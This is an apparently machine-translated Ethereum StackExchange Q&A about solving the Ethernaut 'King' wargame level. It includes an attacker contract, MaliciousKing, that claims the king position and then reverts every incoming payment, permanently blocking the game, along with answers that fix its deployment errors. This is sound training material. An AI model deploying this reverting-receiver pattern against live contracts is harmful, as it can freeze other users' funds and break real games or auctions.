Solidity

乙太王挑戰賽

  • June 13, 2022

我正在嘗試通過被稱為國王契約的第 9 級 Ethernaut 挑戰。

我設計的破解 King 合約的合約如下:

pragma solidity 0.8.0;
contract MaliciousKing {
   constructor(address _to) payable {
       address(_to).call{value: msg.value}();
   }

   receive() external payable {
       revert("Not accepting funds");
   }
}

它在部署時接受使用者的任意 ETH 數量,然後將提供的數量轉移到 King 合約,通過提供比上一個 King 更多的資金來實現 King 位置。

但是,在輸入地址作為要部署的合約的參數時,我在我的 Remix IDE 中遇到了一個錯誤:

在此處輸入圖像描述

有誰知道我怎樣才能使這個部署工作?最後,我將提供我試圖與之互動的 King 合約程式碼,但我收到了上述錯誤。

  pragma solidity ^0.6.0;

contract King {

 address payable king;
 uint public prize;
 address payable public owner;

 constructor() public payable {
   owner = msg.sender;  
   king = msg.sender;
   prize = msg.value;
 }

 receive() external payable {
   require(msg.value >= prize || msg.sender == owner);
   king.transfer(msg.value);
   king = msg.sender;
   prize = msg.value;
 }

 function _king() public view returns (address payable) {
   return king;
 }
}

提前非常感謝!

首先,您不需要契約,因為不寫它會做同樣的事情receive()MaliciousKing

其次,address _to payable在建構子中製作,例如,

constructor(address payable _to) payable

那應該可以解決您的問題。

您在最後一個括號中缺少“”

這會起作用

地址(_to).call{value: msg.value}("");

引用自:https://ethereum.stackexchange.com/questions/130127